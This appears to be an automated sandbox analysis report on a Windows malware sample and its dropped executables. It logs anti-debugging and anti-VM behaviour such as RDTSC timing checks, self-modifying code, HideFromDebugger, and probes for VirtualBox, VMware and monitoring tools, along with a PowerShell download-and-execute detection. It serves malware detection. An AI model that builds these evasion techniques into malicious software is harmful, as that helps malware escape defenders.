Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F5FD79 second address: F5FD9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jp 00007F8A2CE89C96h 0x0000000f pop eax 0x00000010 jmp 00007F8A2CE89CA1h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F72B26 second address: F72B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F72B2A second address: F72B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74849 second address: DEEB9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F8A2D3CFEDEh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, ecx 0x00000019 push dword ptr [ebp+122D1689h] 0x0000001f movsx ecx, si 0x00000022 call dword ptr [ebp+122D2E49h] 0x00000028 pushad 0x00000029 mov dword ptr [ebp+122D199Fh], eax 0x0000002f xor eax, eax 0x00000031 jmp 00007F8A2D3CFEDBh 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a jno 00007F8A2D3CFEE4h 0x00000040 mov dword ptr [ebp+122D3A97h], eax 0x00000046 jmp 00007F8A2D3CFEE4h 0x0000004b mov esi, 0000003Ch 0x00000050 stc 0x00000051 add esi, dword ptr [esp+24h] 0x00000055 jmp 00007F8A2D3CFEE3h 0x0000005a lodsw 0x0000005c add dword ptr [ebp+122D199Fh], edi 0x00000062 mov dword ptr [ebp+122D199Fh], edi 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c sub dword ptr [ebp+122D199Fh], eax 0x00000072 jmp 00007F8A2D3CFEDCh 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b jg 00007F8A2D3CFEEEh 0x00000081 jmp 00007F8A2D3CFEE8h 0x00000086 push eax 0x00000087 push eax 0x00000088 push edx 0x00000089 push ecx 0x0000008a js 00007F8A2D3CFED6h 0x00000090 pop ecx 0x00000091 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F748AB second address: F748B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F748B0 second address: F748B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F748B6 second address: F7493C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jno 00007F8A2CE89CA4h 0x00000010 jmp 00007F8A2CE89CA4h 0x00000015 popad 0x00000016 nop 0x00000017 movzx edi, di 0x0000001a push 00000000h 0x0000001c sub edi, dword ptr [ebp+122D3883h] 0x00000022 call 00007F8A2CE89C99h 0x00000027 jmp 00007F8A2CE89CA3h 0x0000002c push eax 0x0000002d push eax 0x0000002e push ecx 0x0000002f pushad 0x00000030 popad 0x00000031 pop ecx 0x00000032 pop eax 0x00000033 mov eax, dword ptr [esp+04h] 0x00000037 push esi 0x00000038 jmp 00007F8A2CE89CA8h 0x0000003d pop esi 0x0000003e mov eax, dword ptr [eax] 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F7493C second address: F7494D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74A50 second address: F74ABD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8A2CE89C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or dword ptr [ebp+122D1F98h], edi 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 mov edx, dword ptr [ebp+122D3A0Fh] 0x0000001d pop edx 0x0000001e call 00007F8A2CE89C99h 0x00000023 jmp 00007F8A2CE89CA9h 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b jmp 00007F8A2CE89CA3h 0x00000030 pop edi 0x00000031 pop edx 0x00000032 mov eax, dword ptr [esp+04h] 0x00000036 push esi 0x00000037 jc 00007F8A2CE89C98h 0x0000003d push edx 0x0000003e pop edx 0x0000003f pop esi 0x00000040 mov eax, dword ptr [eax] 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74ABD second address: F74AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74AC2 second address: F74ADC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8A2CE89C98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jng 00007F8A2CE89CA8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74ADC second address: F74AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74AE0 second address: F74AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74AE4 second address: F74B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov dword ptr [ebp+122D1F42h], esi 0x0000000e push ebx 0x0000000f mov dword ptr [ebp+122D1B08h], ebx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 xor ebx, 0FC731FEh 0x0000001e mov si, D058h 0x00000022 popad 0x00000023 push 00000003h 0x00000025 mov dword ptr [ebp+122D1BD8h], ebx 0x0000002b push 00000000h 0x0000002d cld 0x0000002e push 00000003h 0x00000030 mov dword ptr [ebp+122D185Bh], edi 0x00000036 mov ecx, ebx 0x00000038 push 6E10E811h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8A2D3CFEE7h 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74B3A second address: F74B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74B3F second address: F74B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74B45 second address: F74B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 51EF17EFh 0x0000000e mov ecx, dword ptr [ebp+122D2857h] 0x00000014 lea ebx, dword ptr [ebp+1245973Fh] 0x0000001a sbb ecx, 01096DCBh 0x00000020 xchg eax, ebx 0x00000021 pushad 0x00000022 push edi 0x00000023 pushad 0x00000024 popad 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jg 00007F8A2CE89C96h 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74B73 second address: F74B92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F8A2D3CFEE3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74C9F second address: F74CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74CA3 second address: F74CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74CA9 second address: F74CF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 598B1615h 0x0000000f and edi, dword ptr [ebp+122D388Bh] 0x00000015 lea ebx, dword ptr [ebp+1245974Ah] 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F8A2CE89C98h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Ch 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push eax 0x00000036 js 00007F8A2CE89CA4h 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F74CF2 second address: F74CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69EB1D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69EC19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 84C4BE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8D4F61 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DEEB1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DEEC19 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F9C4BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1024F61 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Special instruction interceptor: First address: FE17E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Special instruction interceptor: First address: FDF39E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Special instruction interceptor: First address: 11B2855 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Special instruction interceptor: First address: FE16EC instructions caused by: Self-modifying code
Source: C:\Users\user\1000026002\cee706a53f.exe	Special instruction interceptor: First address: 9B17E2 instructions caused by: Self-modifying code
Source: C:\Users\user\1000026002\cee706a53f.exe	Special instruction interceptor: First address: 9AF39E instructions caused by: Self-modifying code
Source: C:\Users\user\1000026002\cee706a53f.exe	Special instruction interceptor: First address: B82855 instructions caused by: Self-modifying code
Source: C:\Users\user\1000026002\cee706a53f.exe	Special instruction interceptor: First address: 9B16EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6617E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 65F39E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 832855 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6616EC instructions caused by: Self-modifying code

Source: C:\Users\user\1000026002\cee706a53f.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\1000026002\cee706a53f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\1000026002\cee706a53f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A306C1 rdtsc

0_2_04A306C1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 385	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1793	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1085	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2135	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1526	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 858	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2655
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 888

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2916	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2916	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3984	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3984	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2500	Thread sleep count: 385 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2500	Thread sleep time: -11550000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2772	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2772	Thread sleep time: -136068s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3688	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4824	Thread sleep count: 1793 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4824	Thread sleep time: -3587793s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3700	Thread sleep count: 1085 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3700	Thread sleep time: -2171085s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4824	Thread sleep count: 2135 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4824	Thread sleep time: -4272135s >= -30000s	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe TID: 4080	Thread sleep time: -96000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8040	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8028	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1836	Thread sleep count: 102 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1836	Thread sleep time: -612000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1612	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\1000026002\cee706a53f.exe TID: 1536	Thread sleep time: -108000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe TID: 7936	Thread sleep count: 137 > 30
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe TID: 7936	Thread sleep time: -822000s >= -30000s
Source: C:\Users\user\1000026002\cee706a53f.exe TID: 3148	Thread sleep time: -156000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: 8a145ab7b3.exe, skotes.exe, cee706a53f.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2r0
Source: skotes.exe, 00000008.00000002.2697000883.0000000001418000.00000004.00000020.00020000.00000000.sdmp, 8a145ab7b3.exe, 0000000A.00000002.2065676534.0000000001A13000.00000004.00000020.00020000.00000000.sdmp, 8a145ab7b3.exe, 0000000A.00000002.2065676534.0000000001A43000.00000004.00000020.00020000.00000000.sdmp, cee706a53f.exe, 0000000B.00000002.2115108597.0000000001325000.00000004.00000020.00020000.00000000.sdmp, cee706a53f.exe, 0000000B.00000002.2115108597.0000000001355000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cee706a53f.exe, 0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: powershell.exe, 0000000C.00000002.2099154519.0000000007669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: skotes.exe, 00000008.00000002.2697000883.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000002.1475884857.000000000082B000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1508487739.0000000000F7B000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.1516199007.0000000000F7B000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmp, 8a145ab7b3.exe, 0000000A.00000002.2064717193.0000000001168000.00000040.00000001.01000000.00000009.sdmp, cee706a53f.exe, 0000000B.00000002.2112264717.0000000000B38000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\1000026002\cee706a53f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\1000026002\cee706a53f.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A30197 Start: 04A30280 End: 04A30223

0_2_04A30197

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: regmonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: ollydbg
Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: filemonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: NTICE
Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: SICE
Source: C:\Users\user\1000026002\cee706a53f.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Process queried: DebugPort
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort
Source: C:\Users\user\1000026002\cee706a53f.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A306C1 rdtsc

0_2_04A306C1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DB652B mov eax, dword ptr fs:[00000030h]		8_2_00DB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DBA302 mov eax, dword ptr fs:[00000030h]		8_2_00DBA302

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

